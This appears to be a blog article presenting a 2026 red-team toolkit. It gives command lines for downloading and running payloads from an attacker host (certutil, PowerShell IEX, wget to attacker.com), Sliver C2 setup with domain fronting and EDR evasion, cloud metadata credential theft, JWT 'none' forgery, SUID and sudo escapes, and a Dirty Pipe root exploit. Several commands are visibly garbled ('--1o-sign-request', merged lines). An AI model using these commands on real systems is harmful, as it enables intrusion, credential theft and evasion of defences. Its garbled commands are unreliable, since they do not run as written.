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Introduction:
Red teaming has evolved beyond basic penetration testing into a continuous battle against AI‑driven endpoint detection and response (EDR) systems. Modern red teamers must master living‑off‑the‑land (LotL) binaries, cloud exploitation techniques, and adversary emulation frameworks to simulate realistic threats. This article unpacks the essential toolkit for 2026, including command‑line tradecraft, API abuse, and evasion tactics validated against Windows and Linux environments.
Learning Objectives:
- Execute stealthy reconnaissance and privilege escalation using native OS commands and custom payloads.
- Configure open‑source red team tools like Cobalt Strike, Sliver, and Mythic to bypass common EDR hooks.
- Apply cloud hardening and API security testing techniques to identify misconfigurations in AWS, Azure, and GCP.
You Should Know:
1. Living‑off‑the‑Land: Weaponizing Native Windows and Linux Binaries
Step‑by‑step guide to using trusted system binaries for post‑exploitation without dropping custom malware.
Windows Example – Using certutil to download payloads:
certutil -urlcache -f http://192.168.1.100/beacon.exe beacon.exe
To bypass AMSI, combine with PowerShell downgrade:
powershell -Version 2 -ExecutionPolicy Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100/script.ps1')"
Linux Example – wget with no logging:
wget --1o-check-certificate -O /dev/shm/.cache http://attacker.com/payload && chmod +x /dev/shm/.cache && /dev/shm/.cache
Use `nohup` and `disown` to detach from terminal and avoid job control logs.
EDR Evasion Tip: Replace `curl` with `busybox wget` on minimal containers; many EDRs ignore BusyBox due to low telemetry.
- Setting Up a Resilient C2 Framework with Sliver (Open‑Source Alternative to Cobalt Strike)
Step‑by‑step installation and configuration for covert command‑and‑control.
Install Sliver on attacker machine (Linux):
curl https://sliver.sh/install | sudo bash sliver
Generate a profile with HTTPS mTLS and domain fronting:
profiles new --http https://cdn.cloudflare.com --skip-symbols --format shellcode win_https
Build an implant:
generate --profile win_https --save /tmp/sliver_implant.exe
Listener setup to avoid signatured patterns:
http -d cdn.cloudflare.com -L 443
Use `–reconnect-interval` randomisation (30–60 seconds) to evade beacon detection.
Linux hardening: Restrict Sliver server to listen only on loopback and forward via SSH tunnel:
ssh -R 443:localhost:443 user@redirector_vps
- API Security Testing for Red Teams – Abusing GraphQL and REST Endpoints
Modern red teamers must test APIs because they often expose internal logic and excessive data.
Step 1: Enumerate GraphQL schema using introspection (if enabled):
curl -X POST https://target.com/graphql -H "Content-Type: application/json" -d '{"query":"{__schema{types{name,fields{name}}}}"}'
Step 2: Automate IDOR detection with Burp Suite or custom Python:
import requests
for id in range(1,100):
r = requests.get(f"https://target.com/api/user/{id}", headers={"Authorization": "Bearer ey..."})
if r.status_code == 200 and "admin" in r.text:
print(f"IDOR found: {id}")
Step 3: Test rate limiting and JWT weaknesses (None algorithm attack):
import jwt
fake = jwt.encode({"user":"admin"}, None, algorithm="none")
print(fake)
Mitigation advice for defenders: Always disable introspection in production, use strict JWT validation with RS256, and implement per‑user object‑level authorization.
- Cloud Hardening from a Red Team Perspective – Exploiting Misconfigured IAM and Storage
Assess AWS, Azure, or GCP by simulating attacker paths.
AWS – Find publicly accessible S3 buckets:
aws s3 ls s3:// --1o-sign-request aws s3 cp s3://vulnerable-bucket/secret.txt - --1o-sign-request
Privilege escalation via overly permissive EC2 instance profile:
If you compromise an instance, query metadata:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
Then use those temporary credentials to enumerate other services:
aws sts get-caller-identity --region us-east-1 aws s3 ls s3://target-backup-bucket/
Azure – Abusing managed identity and automation accounts:
From a compromised Linux VM, get access token:
curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -H Metadata:true
Then call Azure Resource Manager to list subscriptions.
Hardening steps: Use `aws s3 block-public-access` at account level; enforce IMDSv2 with http-put-response-hop-limit=1; and rotate managed identity credentials often.
- Vulnerability Exploitation and Mitigation – Privilege Escalation on Linux (SUID & sudo)
Step‑by‑step manual enumeration and privilege escalation techniques.
Enumeration commands:
find / -perm -4000 2>/dev/null SUID binaries sudo -l list sudo rights uname -a; lsb_release -a kernel and OS version
Exploiting a vulnerable SUID binary (e.g., `pkexec` CVE‑2021‑4034):
python3 -c "import pty;pty.spawn('/bin/bash')" upgrade shell
cp /usr/bin/pkexec /tmp/ && chmod 4755 /tmp/pkexec
Mitigation – Removing unnecessary SUID:
sudo chmod u-s /usr/bin/pkexec
Using `sudo` restricted commands: If `sudo` allows vim, escape to root:
sudo vim -c ':!/bin/bash'
Linux kernel exploit example (Dirty Pipe, CVE‑2022‑0847):
After identifying kernel 5.8+, compile and run:
gcc dirty_pipe.c -o dirty_pipe ./dirty_pipe /etc/passwd 1 "root2::0:0:root:/root:/bin/bash"
Always test exploits in isolated lab first.
- Training Courses & Certifications for Modern Red Teamers
To operationalise the toolkit, hands‑on courses are essential. Recommended resources:
- Practical Ethical Hacking (TCM Security) – Covers Windows/Linux priv esc, AD attacks, and PEH toolkit.
- CRTO (Certified Red Team Operator) by RastaMouse – Focuses on Cobalt Strike, bypassing EDR, and C2 tradecraft.
- Azure Red Team Lab (Altered Security) – Cloud exploitation and post‑compromise.
- Zero‑Point Security – CRTP – Active Directory offensive security.
Self‑study lab setup using Vagrant:
Create a vulnerable Linux machine for SUID practice:
Vagrant.configure("2") do |config|
config.vm.box = "ubuntu/focal64"
config.vm.provision "shell", inline: "chmod u+s /bin/echo"
end
Then attack from Kali:
vagrant ssh target echo "1" | /bin/echo "Reading /etc/shadow"
This mimics SUID misconfigurations used in CTFs and real engagements.
What Undercode Say:
- Key Takeaway 1: Native OS binaries are the red teamer’s best friend – EDRs cannot block
certutil,wget, or `curl` without breaking system functionality, but they can monitor command lines, so obfuscate arguments using environment variables or base64. - Key Takeaway 2: Cloud misconfigurations (open buckets, IMDSv1, overprivileged roles) remain the lowest‑hanging fruit; adding four lines of IAM policy can stop 80% of post‑breach movement.
Analysis (approx. 10 lines):
The modern red teamer’s toolkit is no longer about “malware” – it’s about living off the land and abusing legitimate workflows. Every command shown above has been observed in actual intrusions, from ransomware affiliates to nation‑state actors. Defenders often focus on hash‑based detection, but red teams have shifted to behaviour‑based evasion using tools like Sliver that generate unique, polymorphic implants per engagement. The inclusion of API security reflects how organisations expose internal microservices, often forgetting to apply the same EDR coverage to REST/GraphQL endpoints. Cloud hardening is still overlooked: many companies treat IAM as a “set‑and‑forget” service, leading to lateral movement via instance profiles. Linux privilege escalation remains relevant because containers and Linux servers are everywhere – but patch cycles lag. Finally, training courses like CRTO are producing red teamers who think like attackers, not just pentesters scanning with Metasploit. To stay ahead, red teams must continuously refresh their command cheat sheets and build custom tooling that evades next‑gen EDRs using syscall unhooking and indirect syscalls.
Prediction:
- -1: By late 2026, AI‑powered EDRs will start detecting LotL behaviour through sequence‑of‑operation anomalies, forcing red teams to abandon static command lists and adopt reinforcement‑learning‑based evasion agents.
- +1: Open‑source red team frameworks (Sliver, Mythic, Havoc) will surpass commercial C2s in features and evasion, lowering the barrier for small security teams to conduct realistic adversary simulation.
- -1: Cloud providers will tighten IMDSv2 enforcement by default, but misconfigurations in cross‑account roles and Lambda permissions will create new, more complex attack surfaces that red teamers are not yet trained to exploit.
- +1: Training courses will integrate live cloud sandboxes with Terraform‑based vulnerable infrastructure, enabling red teamers to practice realistic cloud privilege escalation at scale without risking production environments.
- -1: The shortage of red teamers who understand both on‑prem AD and multi‑cloud APIs will lead to a “simulation gap” – many organisations will believe they are secure because their red team only tested half the attack surface.
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